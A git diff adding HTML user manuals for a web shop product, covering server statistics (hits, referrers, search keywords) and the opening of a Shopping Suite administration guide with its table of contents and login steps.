+is how popular your Web site is. A &ldquo;<B>hit</B>&rdquo; is a
+single request to the server for something on your Web site. For
+example, if a visitor comes to a page on your Web site, which has
+five images on it, each image counts as a hit. </FONT>
+</P>
+<P CLASS="western" STYLE="margin-bottom: 0in"><BR>
+</P>
+<P CLASS="western" STYLE="margin-bottom: 0in"><FONT COLOR="#808080">&#9658;</FONT>
+<B><FONT SIZE=2>HOW VISITORS GOT TO THE WEB SITE</FONT></B></P>
+<P CLASS="western" STYLE="margin-bottom: 0in; border-top: 1px solid #000000; border-bottom: none; border-left: none; border-right: none; padding-top: 0.01in; padding-bottom: 0in; padding-left: 0in; padding-right: 0in">
+<BR>
+</P>
+<P CLASS="western" STYLE="margin-bottom: 0in; border-top: 1px solid #000000; border-bottom: none; border-left: none; border-right: none; padding-top: 0.01in; padding-bottom: 0in; padding-left: 0in; padding-right: 0in">
+<FONT SIZE=2>When visitors get to your Web site, the server builds a
+report to you on how they got there. For example, if you wanted to
+visit a Web site you would either type the Web site address in,
+search for it on a search engine or find another site that would link
+you to it such as a chamber of commerce Web site. The server would
+then memorize how you got to the Web site by using one of the three
+scenarios above and can report that information to you by completing
+the following steps:</FONT></P>
+<P CLASS="western" STYLE="margin-bottom: 0in; border-top: 1px solid #000000; border-bottom: none; border-left: none; border-right: none; padding-top: 0.01in; padding-bottom: 0in; padding-left: 0in; padding-right: 0in">
+<BR>
+</P>
+<P CLASS="western" STYLE="margin-bottom: 0in; border-top: 1px solid #000000; border-bottom: none; border-left: none; border-right: none; padding-top: 0.01in; padding-bottom: 0in; padding-left: 0in; padding-right: 0in">
+<FONT SIZE=2><B>Step 1: Summary by Month</B></FONT></P>
+<P CLASS="western" STYLE="margin-bottom: 0in; border-top: 1px solid #000000; border-bottom: none; border-left: none; border-right: none; padding-top: 0.01in; padding-bottom: 0in; padding-left: 0in; padding-right: 0in">
+<FONT COLOR="#ffffff"> <B><FONT SIZE=1 STYLE="font-size: 5pt">.</FONT></FONT><FONT SIZE=2><BR></FONT></B><FONT SIZE=2>To
+view where your visitors came from, you must decide what month you
+want to view. Let&rsquo;s use May 2003 as an example. Click &ldquo;<B>Server
+Statistics</B>&rdquo; on the top menu, then you will see two graphs
+with server statistics. S<I>ee Figure 16, 17.</I> The second graph
+above is titled &ldquo;<B>Summary by Month</B>&rdquo; (<I>Figure 17</I>);
+this graph will show you a summary of visits per month, then an
+average per week in that month. Click on May 2003, this will bring
+you to a page with the expanded server statistics for the month of
+May.</FONT></P>
+<P CLASS="western" STYLE="margin-bottom: 0in"> 
+</P>
+<P CLASS="western" STYLE="margin-bottom: 0in"><FONT SIZE=2><B>Step 2:
+The Numbers<BR></B></FONT><BR>
+</P>
+<P CLASS="western" STYLE="margin-bottom: 0in"><FONT SIZE=2>In the
+middle of the page is a box labeled &ldquo;<B>Top 30 of X Total
+Referrers</B>&rdquo;.  As our example earlier, the top ones listed
+might be your Web site address. The next ones listed might be search
+engines (google.com, yahoo.com, excite.com). And also you might see
+other Web sites that they came from such as the Chamber of Commerce
+you belong to, other directory Web sites or vendor sites that you may
+have your site listed on. </FONT>
+</P>
+<P CLASS="western" STYLE="margin-bottom: 0in"><BR>
+</P>
+<P CLASS="western" STYLE="margin-bottom: 0in; border-top: none; border-bottom: 1px solid #000000; border-left: none; border-right: none; padding-top: 0in; padding-bottom: 0.01in; padding-left: 0in; padding-right: 0in">
+<FONT COLOR="#808080">&#9658;</FONT> <B><FONT SIZE=2>WHAT VISITORS
+TYPED IN THE SEARCH ENGINES TO GET TO YOUR WEB SITE</FONT></B></P>
+<P CLASS="western" STYLE="margin-bottom: 0in"><BR>
+</P>
+<P CLASS="western" STYLE="margin-bottom: 0in"><FONT SIZE=2>If want to
+find a book store on the internet, you could use a search engine
+(google.com, yahoo.com, excite.com) to find it. You might type in
+&ldquo;<B>Bookstore or Local Bookstore</B>&rdquo; to find one.
+&ldquo;<B>Bookstore and Local Bookstore</B>&rdquo; are called
+keywords. The server statistics keep track of these and reports the
+most popular of these phrases used.</FONT></P>
+<P CLASS="western" STYLE="margin-bottom: 0in"><BR>
+</P>
+<P CLASS="western" STYLE="margin-bottom: 0in"><FONT SIZE=2><B>Step 1:
+Sever Statistics<BR></B></FONT><BR>
+</P>
+<P CLASS="western" STYLE="margin-bottom: 0in"><FONT SIZE=2>To
+determine what &ldquo;keywords&rdquo; the visitor used in the search
+engine, you must decide what month you want to view. Click &ldquo;<B>Server
+Statistics</B>&rdquo; on the top menu, then you will see two graphs
+with server statistics. S<I>ee Figure 16, 17.</I> The second graph
+above is titled &ldquo;<B>Summary by Month</B>&rdquo; (<I>Figure 17</I>);
+this graph will show you a summary of visits per month, then an
+average per week in that month. Let&rsquo;s use July 2003 as an
+example. Click on &ldquo;<B>July 2003</B>&rdquo;.</FONT></P>
+<P CLASS="western" STYLE="margin-bottom: 0in"><BR>
+</P>
+<P CLASS="western" STYLE="margin-bottom: 0in"><FONT SIZE=2><B>Step 2:
+The Numbers<BR></B></FONT><BR>
+</P>
+<P CLASS="western" STYLE="margin-bottom: 0in"><FONT SIZE=2>Next you
+will see a web page with the exhausted server statistics for just the
+month of July on it. In the middle to bottom of the web page is a box
+labeled &ldquo;<B>Top 20 of X Search Strings</B>&rdquo;. This is a
+list of the top twenty keywords that were used in a search engine to
+get to your Web site.</FONT></P>
+</BODY>
+</HTML>
\ No newline at end of file
diff --git a/manuals/html/ServerStatistics_1.0_html_717383bd.jpg b/manuals/html/ServerStatistics_1.0_html_717383bd.jpg
new file mode 100644 (file)
index 0000000..b628ee2
Binary files /dev/null and b/manuals/html/ServerStatistics_1.0_html_717383bd.jpg differ
diff --git a/manuals/html/ServerStatistics_1.0_html_m45668104.jpg b/manuals/html/ServerStatistics_1.0_html_m45668104.jpg
new file mode 100644 (file)
index 0000000..20c2fcc
Binary files /dev/null and b/manuals/html/ServerStatistics_1.0_html_m45668104.jpg differ
diff --git a/manuals/html/ShoppingSuite_1.0.html b/manuals/html/ShoppingSuite_1.0.html
new file mode 100644 (file)
index 0000000..8391753
--- /dev/null
@@ -0,0 +1,2050 @@
+<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
+<HTML>
+<HEAD>
+       <META HTTP-EQUIV="CONTENT-TYPE" CONTENT="text/html; charset=windows-1252">
+       <TITLE>Adding a Product</TITLE>
+       <META NAME="GENERATOR" CONTENT="OpenOffice.org 1.1.1  (Win32)">
+       <META NAME="AUTHOR" CONTENT="Eric Greenwald">
+       <META NAME="CREATED" CONTENT="20030611;12260000">
+       <META NAME="CHANGEDBY" CONTENT="Ove Klykken">
+       <META NAME="CHANGED" CONTENT="20040617;15371052">
+       <STYLE>
+       <!--
+               @page { size: 8.5in 11in; margin-right: 1.25in; margin-top: 1in; margin-bottom: 0.5in }
+               P { margin-bottom: 0in; direction: ltr; color: #000000; widows: 2; orphans: 2 }
+               P.western { font-family: "Times New Roman", serif; font-size: 12pt; so-language: en-US; font-weight: bold }
+               P.cjk { font-family: "Times New Roman", serif; font-size: 12pt; font-weight: bold }
+               P.ctl { font-family: "Times New Roman", serif; font-size: 12pt; so-language: ar-SA; font-weight: bold }
+               H1 { margin-top: 0in; margin-bottom: 0in; border-top: none; border-bottom: 1px solid #000000; border-left: none; border-right: none; padding-top: 0in; padding-bottom: 0.01in; padding-left: 0in; padding-right: 0in; direction: ltr; color: #ff0000; widows: 2; orphans: 2 }
+               H1.western { font-family: "Arial", sans-serif; font-size: 20pt; so-language: en-US }
+               H1.cjk { font-family: "Times New Roman", serif; font-size: 20pt }
+               H1.ctl { font-family: "Arial", sans-serif; font-size: 20pt; so-language: ar-SA; font-weight: medium }
+               A:link { color: #0000ff }
+       -->
+       </STYLE>
+</HEAD>
+<BODY LANG="en-US" TEXT="#000000" LINK="#0000ff" DIR="LTR">
+<P CLASS="western" ALIGN=CENTER><BR>
+</P>
+<P CLASS="western" ALIGN=CENTER STYLE="font-weight: medium"><IMG SRC="ShoppingSuite_1.0_html_70e23e0c.png" NAME="Graphic1" ALIGN=BOTTOM WIDTH=575 HEIGHT=215 BORDER=0></P>
+<P CLASS="western" ALIGN=CENTER STYLE="font-weight: medium"><B><FONT FACE="Arial, sans-serif"><FONT SIZE=6 STYLE="font-size: 22pt">Shopping
+Suite Administration Guide</FONT><FONT SIZE=5><SUP>&copy;</SUP></FONT></FONT></B></P>
+<P CLASS="western"><BR>
+</P>
+<P CLASS="western"><BR>
+</P>
+<P CLASS="western"><BR>
+</P>
+<P CLASS="western" STYLE="border-top: none; border-bottom: 1px solid #000000; border-left: none; border-right: none; padding-top: 0in; padding-bottom: 0.01in; padding-left: 0in; padding-right: 0in">
+<FONT COLOR="#808080"><FONT FACE="Arial, sans-serif"><FONT SIZE=5 STYLE="font-size: 20pt"><B>Table
+of Contents</B></FONT></FONT></FONT></P>
+<P CLASS="western"><BR>
+</P>
+<TABLE WIDTH=655 BORDER=0 CELLPADDING=7 CELLSPACING=0>
+       <COL WIDTH=173>
+       <COL WIDTH=358>
+       <COL WIDTH=82>
+       <TR VALIGN=TOP>
+               <TD WIDTH=173>
+                       <P CLASS="western" STYLE="margin-right: 0.43in"><FONT FACE="Arial, sans-serif"><B>Log
+                       In</B></FONT></P>
+                       <P CLASS="western" STYLE="margin-right: 0.43in"><BR>
+                       </P>
+               </TD>
+               <TD WIDTH=358>
+                       <P CLASS="western" STYLE="margin-right: -0.08in; font-weight: medium">
+                       <FONT SIZE=2><FONT FACE="Arial, sans-serif">Log into your online
+                       shop&hellip;&hellip;&hellip;&hellip;&hellip;&hellip;&hellip;&hellip;&hellip;&hellip;&hellip;.&hellip;&hellip;&hellip;&hellip;...</FONT></FONT></P>
+               </TD>
+               <TD WIDTH=82>
+                       <P CLASS="western" STYLE="margin-right: 0.68in; text-indent: -0.08in; font-weight: medium">
+                       <FONT FACE="Arial, sans-serif"><FONT SIZE=2>2</FONT></FONT></P>
+               </TD>
+       </TR>
+       <TR VALIGN=TOP>
+               <TD WIDTH=173>
+                       <P CLASS="western"><FONT FACE="Arial, sans-serif"><B>Home</B></FONT></P>
+                       <P CLASS="western"><BR>
+                       </P>
+               </TD>
+               <TD WIDTH=358>
+                       <P CLASS="western" STYLE="margin-right: -0.08in; font-weight: medium">
+                       <FONT SIZE=2><FONT FACE="Arial, sans-serif">Become familiar with
+                       the home page&hellip;&hellip;&hellip;.&hellip;&hellip;..&hellip;&hellip;&hellip;&hellip;&hellip;.</FONT></FONT></P>
+               </TD>
+               <TD WIDTH=82>
+                       <P CLASS="western" STYLE="margin-right: 0.68in; text-indent: -0.08in; font-weight: medium">
+                       <FONT FACE="Arial, sans-serif"><FONT SIZE=2>3</FONT></FONT></P>
+               </TD>
+       </TR>
+       <TR VALIGN=TOP>
+               <TD WIDTH=173>
+                       <P CLASS="western"><FONT FACE="Arial, sans-serif"><B>Orders</B></FONT></P>
+               </TD>
+               <TD WIDTH=358>
+                       <P CLASS="western" STYLE="margin-right: -0.08in; font-weight: medium">
+                       <FONT SIZE=2><FONT FACE="Arial, sans-serif">View an
+                       order&hellip;&hellip;&hellip;&hellip;&hellip;&hellip;&hellip;&hellip;&hellip;&hellip;&hellip;&hellip;&hellip;&hellip;&hellip;&hellip;..&hellip;&hellip;&hellip;&hellip;..</FONT></FONT></P>
+               </TD>
+               <TD WIDTH=82>
+                       <P CLASS="western" STYLE="margin-right: 0.68in; text-indent: -0.08in; font-weight: medium">
+                       <FONT FACE="Arial, sans-serif"><FONT SIZE=2>4</FONT></FONT></P>
+                       <P CLASS="western" STYLE="margin-right: 0.68in; text-indent: -0.08in">
+                       <BR>
+                       </P>
+               </TD>
+       </TR>
+       <TR VALIGN=TOP>
+               <TD WIDTH=173>
+                       <P CLASS="western"><FONT FACE="Arial, sans-serif"><B>Products</B></FONT></P>
+                       <P CLASS="western"><BR>
+                       </P>
+               </TD>
+               <TD WIDTH=358>
+                       <P CLASS="western" STYLE="margin-right: -0.08in; font-weight: medium">
+                       <FONT SIZE=2><FONT FACE="Arial, sans-serif">Add a
+                       product&hellip;&hellip;&hellip;&hellip;&hellip;&hellip;&hellip;&hellip;.&hellip;..&hellip;&hellip;.&hellip;&hellip;&hellip;&hellip;&hellip;&hellip;&hellip;&hellip;&hellip;</FONT></FONT></P>
+                       <P CLASS="western" STYLE="margin-right: -0.08in; font-weight: medium">
+                       <FONT SIZE=2><FONT FACE="Arial, sans-serif">Remove a
+                       product&hellip;&hellip;&hellip;&hellip;&hellip;&hellip;&hellip;&hellip;..&hellip;&hellip;&hellip;&hellip;&hellip;&hellip;&hellip;&hellip;&hellip;&hellip;..</FONT></FONT></P>
+                       <P CLASS="western" STYLE="margin-right: -0.08in; font-weight: medium">
+                       <FONT SIZE=2><FONT FACE="Arial, sans-serif">Modify a product&hellip;&hellip;&hellip;&hellip;&hellip;.
+                       &hellip;&hellip;&hellip;...&hellip;.&hellip;&hellip;&hellip;&hellip;&hellip;&hellip;&hellip;&hellip;&hellip;.</FONT></FONT></P>
+                       <P CLASS="western" STYLE="margin-right: 0.68in; font-weight: medium">
+                       <BR>
+                       </P>
+               </TD>
+               <TD WIDTH=82>
+                       <P CLASS="western" STYLE="margin-right: 0.68in; text-indent: -0.08in; font-weight: medium">
+                       <FONT FACE="Arial, sans-serif"><FONT SIZE=2>5</FONT></FONT></P>
+                       <P CLASS="western" STYLE="margin-right: 0.68in; text-indent: -0.08in; font-weight: medium">
+                       <FONT FACE="Arial, sans-serif"><FONT SIZE=2>7</FONT></FONT></P>
+                       <P CLASS="western" STYLE="margin-right: 0.68in; text-indent: -0.08in; font-weight: medium">
+                       <FONT FACE="Arial, sans-serif"><FONT SIZE=2>7</FONT></FONT></P>
+               </TD>
+       </TR>
+       <TR VALIGN=TOP>
+               <TD WIDTH=173 HEIGHT=23>
+                       <P CLASS="western"><FONT FACE="Arial, sans-serif"><B>Inventory
+                       Report</B></FONT></P>
+               </TD>
+               <TD WIDTH=358>
+                       <P CLASS="western" STYLE="margin-right: -0.08in; font-weight: medium">
+                       <FONT SIZE=2><FONT FACE="Arial, sans-serif">View the inventory
+                       report&hellip;&hellip;&hellip;&hellip;&hellip;.&hellip;&hellip;&hellip;&hellip;&hellip;&hellip;.&hellip;&hellip;&hellip;&hellip;..</FONT></FONT></P>
+                       <P CLASS="western" STYLE="margin-right: -0.08in; font-weight: medium">
+                       <FONT SIZE=2><FONT FACE="Arial, sans-serif">Print the inventory
+                       report&hellip;&hellip;&hellip;&hellip;&hellip;&hellip;&hellip;&hellip;&hellip;&hellip;.&hellip;..................</FONT></FONT></P>
+                       <P CLASS="western" STYLE="margin-right: -0.08in; font-weight: medium">
+                       <FONT FACE="Arial, sans-serif"><FONT SIZE=2>Modify a product using
+                       the inventory report&hellip;&hellip;&hellip;&hellip;&hellip;&hellip;&hellip;&hellip;.</FONT></FONT></P>
+               </TD>
+               <TD WIDTH=82>
+                       <P CLASS="western" STYLE="text-indent: -0.08in; font-weight: medium">
+                       <FONT FACE="Arial, sans-serif"><FONT SIZE=2>8</FONT></FONT></P>
+                       <P CLASS="western" STYLE="margin-left: -0.08in; font-weight: medium">
+                       <FONT SIZE=2><FONT FACE="Arial, sans-serif">8<BR>8<BR></FONT></FONT><BR>
+                       </P>
+               </TD>
+       </TR>
+       <TR VALIGN=TOP>
+               <TD WIDTH=173>
+                       <P CLASS="western"><FONT FACE="Arial, sans-serif"><B>Shop
+                       Promotions</B></FONT></P>
+                       <P CLASS="western"><BR>
+                       </P>
+               </TD>
+               <TD WIDTH=358>
+                       <P CLASS="western" STYLE="margin-right: -0.08in; font-weight: medium">
+                       <FONT SIZE=2><FONT FACE="Arial, sans-serif">Add holiday
+                       shipping&hellip;&hellip;&hellip;&hellip;&hellip;&hellip;&hellip;.&hellip;&hellip;&hellip;&hellip;&hellip;&hellip;.................</FONT></FONT></P>
+                       <P CLASS="western" STYLE="margin-right: -0.08in; font-weight: medium">
+                       <FONT SIZE=2><FONT FACE="Arial, sans-serif">Add a promotional
+                       code&hellip;&hellip;&hellip;&hellip;&hellip;&hellip;&hellip;.&hellip;&hellip;&hellip;&hellip;&hellip;................</FONT></FONT></P>
+                       <P CLASS="western" STYLE="font-weight: medium"><BR>
+                       </P>
+               </TD>
+               <TD WIDTH=82>
+                       <P CLASS="western" STYLE="text-indent: -0.08in; font-weight: medium">
+                       <FONT FACE="Arial, sans-serif"><FONT SIZE=2>9</FONT></FONT></P>
+                       <P CLASS="western" STYLE="text-indent: -0.08in; font-weight: medium">
+                       <FONT FACE="Arial, sans-serif"><FONT SIZE=2>9</FONT></FONT></P>
+               </TD>
+       </TR>
+       <TR VALIGN=TOP>
+               <TD WIDTH=173>
+                       <P CLASS="western"><FONT FACE="Arial, sans-serif"><B>UPS Tracking</B></FONT></P>
+                       <P CLASS="western"><BR>
+                       </P>
+               </TD>
+               <TD WIDTH=358>
+                       <P CLASS="western" STYLE="margin-right: -0.08in; font-weight: medium">
+                       <FONT SIZE=2><FONT FACE="Arial, sans-serif">Add tracking
+                       information to an order.........................................</FONT></FONT></P>
+                       <P CLASS="western" STYLE="margin-right: 0.68in; font-weight: medium">
+                       <BR>
+                       </P>
+               </TD>
+               <TD WIDTH=82>
+                       <P CLASS="western" STYLE="text-indent: -0.08in; font-weight: medium">
+                       <FONT FACE="Arial, sans-serif"><FONT SIZE=2>10</FONT></FONT></P>
+               </TD>
+       </TR>
+       <TR VALIGN=TOP>
+               <TD WIDTH=173>
+                       <P CLASS="western"><FONT FACE="Arial, sans-serif"><B>Contacts</B></FONT></P>
+                       <P CLASS="western"><BR>
+                       </P>
+               </TD>
+               <TD WIDTH=358>
+                       <P CLASS="western" STYLE="margin-right: -0.08in; font-weight: medium">
+                       <FONT SIZE=2><FONT FACE="Arial, sans-serif">Find
+                       customers&hellip;&hellip;&hellip;&hellip;&hellip;&hellip;&hellip;&hellip;&hellip;&hellip;...&hellip;&hellip;&hellip;&hellip;&hellip;&hellip;&hellip;&hellip;&hellip;..</FONT></FONT></P>
+               </TD>
+               <TD WIDTH=82>
+                       <P CLASS="western" STYLE="margin-right: 0.68in; text-indent: -0.08in; font-weight: medium">
+                       <FONT FACE="Arial, sans-serif"><FONT SIZE=2>11</FONT></FONT></P>
+               </TD>
+       </TR>
+       <TR VALIGN=TOP>
+               <TD WIDTH=173>
+                       <P CLASS="western" STYLE="font-weight: medium"><B><FONT FACE="Arial, sans-serif">Retail
+                       Newsletter<BR></FONT></B><BR>
+                       </P>
+               </TD>
+               <TD WIDTH=358>
+                       <P CLASS="western" STYLE="margin-right: -0.08in; font-weight: medium">
+                       <FONT SIZE=2><FONT FACE="Arial, sans-serif">Add a
+                       newsletter&hellip;&hellip;&hellip;&hellip;&hellip;&hellip;&hellip;&hellip;.&hellip;&hellip;&hellip;&hellip;&hellip;&hellip;&hellip;&hellip;&hellip;&hellip;&hellip;..</FONT></FONT></P>
+                       <P CLASS="western" STYLE="margin-right: -0.08in; font-weight: medium">
+                       <FONT SIZE=2><FONT FACE="Arial, sans-serif">Send a
+                       newsletter&hellip;&hellip;&hellip;&hellip;&hellip;&hellip;&hellip;&hellip;&hellip;&hellip;&hellip;&hellip;&hellip;&hellip;&hellip;&hellip;&hellip;&hellip;&hellip;.</FONT></FONT></P>
+                       <P CLASS="western" STYLE="margin-right: -0.08in; font-weight: medium">
+                       <BR>
+                       </P>
+               </TD>
+               <TD WIDTH=82>
+                       <P CLASS="western" STYLE="margin-right: 0.68in; text-indent: -0.08in; font-weight: medium">
+                       <FONT FACE="Arial, sans-serif"><FONT SIZE=2>12</FONT></FONT></P>
+                       <P CLASS="western" STYLE="margin-right: 0.68in; text-indent: -0.08in; font-weight: medium">
+                       <FONT FACE="Arial, sans-serif"><FONT SIZE=2>12</FONT></FONT></P>
+               </TD>
+       </TR>
+       <TR VALIGN=TOP>
+               <TD WIDTH=173>
+                       <P CLASS="western"><FONT FACE="Arial, sans-serif"><B>Media Toolbox</B></FONT></P>
+                       <P CLASS="western"><BR>
+                       </P>
+               </TD>
+               <TD WIDTH=358>
+                       <P CLASS="western" STYLE="margin-right: -0.08in; font-weight: medium">
+                       <FONT SIZE=2><FONT FACE="Arial, sans-serif">Add a new
+                       category&hellip;&hellip;&hellip;&hellip;&hellip;&hellip;&hellip;&hellip;&hellip;&hellip;&hellip;&hellip;&hellip;.&hellip;&hellip;&hellip;&hellip;&hellip;</FONT></FONT></P>
+                       <P CLASS="western" STYLE="margin-right: -0.08in; font-weight: medium">
+                       <FONT SIZE=2><FONT FACE="Arial, sans-serif">Modify a
+                       category&hellip;&hellip;&hellip;&hellip;&hellip;&hellip;&hellip;&hellip;&hellip;&hellip;&hellip;&hellip;&hellip;&hellip;&hellip;...&hellip;..&hellip;&hellip;</FONT></FONT></P>
+                       <P CLASS="western" STYLE="margin-right: -0.08in; font-weight: medium">
+                       <FONT SIZE=2><FONT FACE="Arial, sans-serif">Remove a
+                       category&hellip;&hellip;&hellip;&hellip;&hellip;&hellip;&hellip;&hellip;&hellip;&hellip;&hellip;&hellip;&hellip;..&hellip;.&hellip;...&hellip;&hellip;</FONT></FONT></P>
+                       <P CLASS="western" STYLE="margin-right: -0.08in; font-weight: medium">
+                       <FONT SIZE=2><FONT FACE="Arial, sans-serif">Add a
+                       listing&hellip;&hellip;&hellip;&hellip;&hellip;&hellip;&hellip;&hellip;&hellip;&hellip;&hellip;&hellip;&hellip;&hellip;.&hellip;&hellip;&hellip;&hellip;&hellip;..&hellip;&hellip;<BR>Modify
+                       a listing&hellip;&hellip;&hellip;&hellip;...&hellip;&hellip;&hellip;&hellip;&hellip;&hellip;&hellip;&hellip;&hellip;&hellip;&hellip;&hellip;.&hellip;..&hellip;&hellip;</FONT></FONT></P>
+                       <P CLASS="western" STYLE="margin-right: -0.08in; font-weight: medium">
+                       <FONT SIZE=2><FONT FACE="Arial, sans-serif">Modify the shop intro
+                       page&hellip;&hellip;&hellip;&hellip;&hellip;&hellip;&hellip;&hellip;.&hellip;&hellip;.&hellip;.&hellip;&hellip;..&hellip;</FONT></FONT></P>
+               </TD>
+               <TD WIDTH=82>
+                       <P CLASS="western" STYLE="margin-right: 0.68in; text-indent: -0.08in; font-weight: medium">
+                       <FONT FACE="Arial, sans-serif"><FONT SIZE=2>13</FONT></FONT></P>
+                       <P CLASS="western" STYLE="margin-right: 0.68in; text-indent: -0.08in; font-weight: medium">
+                       <FONT FACE="Arial, sans-serif"><FONT SIZE=2>13</FONT></FONT></P>
+                       <P CLASS="western" STYLE="margin-right: 0.68in; text-indent: -0.08in; font-weight: medium">
+                       <FONT FACE="Arial, sans-serif"><FONT SIZE=2>14</FONT></FONT></P>
+                       <P CLASS="western" STYLE="margin-right: 0.68in; text-indent: -0.08in; font-weight: medium">
+                       <FONT FACE="Arial, sans-serif"><FONT SIZE=2>14</FONT></FONT></P>
+                       <P CLASS="western" STYLE="margin-right: 0.68in; text-indent: -0.08in; font-weight: medium">
+                       <FONT FACE="Arial, sans-serif"><FONT SIZE=2>14</FONT></FONT></P>
+                       <P CLASS="western" STYLE="margin-right: 0.68in; text-indent: -0.08in; font-weight: medium">
+                       <FONT FACE="Arial, sans-serif"><FONT SIZE=2>14</FONT></FONT></P>
+                       <P CLASS="western" STYLE="margin-right: 0.68in; text-indent: -0.08in">
+                       <BR>
+                       </P>
+               </TD>
+       </TR>
+       <TR VALIGN=TOP>
+               <TD WIDTH=173 HEIGHT=23>
+                       <P CLASS="western"><FONT FACE="Arial, sans-serif"><B>Server
+                       Statistics</B></FONT></P>
+               </TD>
+               <TD WIDTH=358>
+                       <P CLASS="western" STYLE="margin-right: -0.08in; font-weight: medium">
+                       <FONT SIZE=2><FONT FACE="Arial, sans-serif">How many visitors have
+                       visited the website&hellip;&hellip;&hellip;&hellip;..&hellip;..&hellip;&hellip;</FONT></FONT></P>
+                       <P CLASS="western" STYLE="margin-right: -0.08in; font-weight: medium">
+                       <FONT SIZE=2><FONT FACE="Arial, sans-serif">How visitors got to
+                       your website&hellip;&hellip;&hellip;&hellip;&hellip;&hellip;&hellip;&hellip;&hellip;..&hellip;..&hellip;&hellip;</FONT></FONT></P>
+                       <P CLASS="western" STYLE="margin-right: -0.08in; font-weight: medium">
+                       <FONT SIZE=2><FONT FACE="Arial, sans-serif">What visitors typed in
+                       the search engines&hellip;&hellip;&hellip;&hellip;&hellip;.&hellip;&hellip;&hellip;...</FONT></FONT></P>
+               </TD>
+               <TD WIDTH=82>
+                       <P CLASS="western" STYLE="margin-right: 0.68in; text-indent: -0.08in; font-weight: medium">
+                       <FONT FACE="Arial, sans-serif"><FONT SIZE=2>15</FONT></FONT></P>
+                       <P CLASS="western" STYLE="margin-right: 0.68in; text-indent: -0.08in; font-weight: medium">
+                       <FONT FACE="Arial, sans-serif"><FONT SIZE=2>15</FONT></FONT></P>
+                       <P CLASS="western" STYLE="margin-right: 0.68in; text-indent: -0.08in; font-weight: medium">
+                       <FONT FACE="Arial, sans-serif"><FONT SIZE=2>16</FONT></FONT></P>
+               </TD>
+       </TR>
+</TABLE>
+<P CLASS="western" STYLE="border-top: none; border-bottom: 1px solid #000000; border-left: none; border-right: none; padding-top: 0in; padding-bottom: 0.01in; padding-left: 0in; padding-right: 0in; page-break-before: always">
+<FONT COLOR="#808080"><FONT FACE="Arial, sans-serif"><FONT SIZE=5 STYLE="font-size: 20pt"><B>Log
+In</B></FONT></FONT></FONT></P>
+<P CLASS="western"><BR>
+</P>
+<P CLASS="western" STYLE="border-top: none; border-bottom: 1px solid #000000; border-left: none; border-right: none; padding-top: 0in; padding-bottom: 0.01in; padding-left: 0in; padding-right: 0in; font-weight: medium">
+<FONT COLOR="#808080">&#9658; </FONT><B><FONT FACE="Arial, sans-serif"><FONT SIZE=2>LOG
+INTO YOUR ONLINE SHOP</FONT></FONT></B></P>
+<P CLASS="western"><BR>
+</P>
+<P CLASS="western"><FONT FACE="Arial, sans-serif"><FONT SIZE=2><B>Step
+1: Opening the Web Browser</B></FONT></FONT></P>
+<P CLASS="western"><BR>
+</P>
+<P CLASS="western" STYLE="font-weight: medium"><FONT FACE="Arial, sans-serif"><FONT SIZE=2>Connect
+to the Internet how you normally would. Open your web browser
+(Internet Explorer or Netscape). In the address bar type the web
+address:<BR></FONT><B><FONT SIZE=2 STYLE="font-size: 9pt">http://www.yourwebsite.com/admin/</FONT></B></FONT></P>
+<P CLASS="western" STYLE="font-weight: medium"><BR>
+</P>
+<P CLASS="western" STYLE="font-weight: medium"><B><FONT SIZE=2><FONT FACE="Arial, sans-serif">Step
+2: Username &amp; Password</FONT></FONT></B></P>
+<P CLASS="western"><BR>
+</P>
+<P CLASS="western" STYLE="font-weight: medium"><FONT SIZE=2><FONT FACE="Arial, sans-serif">The
+cover page of this document contains your username and password. In
+the box next to username type your username exactly like it is shown
+on the cover page. In the box next to the password type the password
+exactly like it is shown on the cover page. For security reasons,
+what you type in the password box will not be displayed. <I>See
+Figure 1. </I></FONT></FONT>
+</P>
+<P CLASS="western" STYLE="font-weight: medium"><BR>
+</P>
+<P CLASS="western"><FONT FACE="Arial, sans-serif"><FONT SIZE=2><B>Step
+3: Log In</B></FONT></FONT></P>
+<P CLASS="western"><BR>
+</P>
+<P CLASS="western" STYLE="font-weight: medium"><FONT SIZE=2><FONT FACE="Arial, sans-serif">If
+you would like to have your website automatically save your username
+and password, so you wouldn&rsquo;t have to enter them in every time
+you login, click the box next to &ldquo;<B>Remember my password</B>&rdquo;.
+Only use this if you are in a secure environment, not at a friend&rsquo;s
+house or at the library. Once you have your username and password
+entered click the &ldquo;<B>OK</B>&rdquo; button.</FONT></FONT></P>
+<P CLASS="western" STYLE="font-weight: medium"><BR>
+</P>
+<P CLASS="western" STYLE="font-weight: medium"><BR>
+</P>
+<P CLASS="western" STYLE="font-weight: medium"><BR>
+</P>
+<P CLASS="western" STYLE="font-weight: medium"><BR>
+</P>
+<P CLASS="western" STYLE="font-weight: medium"> <FONT FACE="Arial, sans-serif"><FONT SIZE=2><BR><BR><BR></FONT></FONT><BR>
+</P>
+<P CLASS="western" STYLE="font-weight: medium"><BR>
+</P>
+<P CLASS="western" STYLE="font-weight: medium"><BR>
+</P>
+<P CLASS="western" STYLE="font-weight: medium"><BR>
+</P>
+<P CLASS="western" STYLE="font-weight: medium"><BR>
+</P>
+<P CLASS="western" STYLE="font-weight: medium"><BR>
+</P>
+<P CLASS="western" STYLE="font-weight: medium"><BR>
+</P>
+<P CLASS="western" STYLE="font-weight: medium"><BR>
+</P>
+<P CLASS="western" STYLE="font-weight: medium"><BR>
+</P>
+<P CLASS="western" STYLE="font-weight: medium"><BR>
+</P>
+<P CLASS="western" STYLE="font-weight: medium"><BR>
+</P>
+<P CLASS="western" STYLE="font-weight: medium"><BR>
+</P>
+<P CLASS="western" STYLE="font-weight: medium"><BR>
+</P>
+<P CLASS="western"><BR>
+</P>
+<P CLASS="western" STYLE="font-weight: medium"><B><FONT SIZE=2><FONT FACE="Arial, sans-serif"><FONT COLOR="#ff0000"><BR><BR><BR>
+<BR><BR><IMG SRC="ShoppingSuite_1.0_html_m4e11eca.jpg" NAME="Graphic2" ALIGN=BOTTOM WIDTH=264 HEIGHT=234 BORDER=0></FONT></FONT></FONT></B></P>
+<P CLASS="western"><FONT FACE="Arial, sans-serif"><FONT SIZE=1 STYLE="font-size: 8pt"><I><B>Figure
+1<BR></B></I></FONT></FONT><BR>
+</P>
+<TABLE WIDTH=279 BORDER=1 CELLPADDING=7 CELLSPACING=0>
+       <COL WIDTH=263>
+       <TR>
+               <TD WIDTH=263 VALIGN=TOP>
+                       <P CLASS="western"><BR>
+                       </P>
+                       <P CLASS="western"><FONT FACE="Arial, sans-serif"><FONT SIZE=1 STYLE="font-size: 8pt"><B>Can&rsquo;t
